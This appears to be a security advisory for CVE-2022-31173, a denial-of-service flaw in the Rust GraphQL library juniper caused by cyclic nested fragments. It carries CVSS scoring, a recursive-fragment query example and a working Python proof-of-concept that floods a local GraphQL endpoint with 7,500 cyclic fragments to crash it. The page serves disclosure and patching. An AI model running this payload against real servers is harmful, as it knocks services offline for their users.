7.5 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
5 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:N/I:N/A:P
0.002 Low
EPSS
Percentile
56.6%
Nested fragment in GraphQL might be quite hard to handle depending on the implementation language.
Some language support natively a max recursion depth. However, on most compiled languages, you should add a threshold of recursion.
# Infinite loop example
query {
...a
}
fragment a on Query {
...b
}
fragment b on Query {
...a
}
With max_size being the number of nested fragment generated.
At max_size=7500, it should instantly raise:
However, with a lower size, you will overflow the memory after some iterations.
git clone https://github.com/graphql-rust/juniper.git
cd juniper
Save this POC as poc.py
import requests
import time
import json
from itertools import permutations
print('=== Fragments POC ===')
url = 'http://localhost:8080/graphql'
max_size = 7500
perms = [''.join(p) for p in permutations('abcefghijk')]
perms = perms[:max_size]
fragment_payloads = ''
for i, perm in enumerate(perms):
next_perm = perms[i+1] if i < max_size-1 else perms[0]
fragment_payloads += f'fragment {perm} on Query' + '{' f'...{next_perm}' + '}'
payload = {'query':'query{\n ...' + perms[0] + '\n}' + fragment_payloads,'variables':{},'operationName':None}
headers = {
'Content-Type': 'application/json',
}
try:
response = requests.request('POST', url, headers=headers, json=payload)
print(response.text)
except requests.exceptions.ConnectionError:
print('Connection closed, POC worked.')
cargo run
[in separate shell] python3 poc.py
@c3b5aw
@MdotTIM
@karimhreda
github.com/advisories/GHSA-4rx6-g5vg-5f3j
github.com/graphql-rust/juniper/blob/juniper-v0.15.10/juniper/CHANGELOG.md#01510-2022-07-28
github.com/graphql-rust/juniper/commit/2b609ee057be950e3454b69fadc431d120e407bb
github.com/graphql-rust/juniper/commit/8d28cdba6eb10f53490ba41d1b5cb40506c2de22
github.com/graphql-rust/juniper/security/advisories/GHSA-4rx6-g5vg-5f3j
nvd.nist.gov/vuln/detail/CVE-2022-31173
rustsec.org/advisories/RUSTSEC-2022-0038.html
7.5 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
5 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:N/I:N/A:P
0.002 Low
EPSS
Percentile
56.6%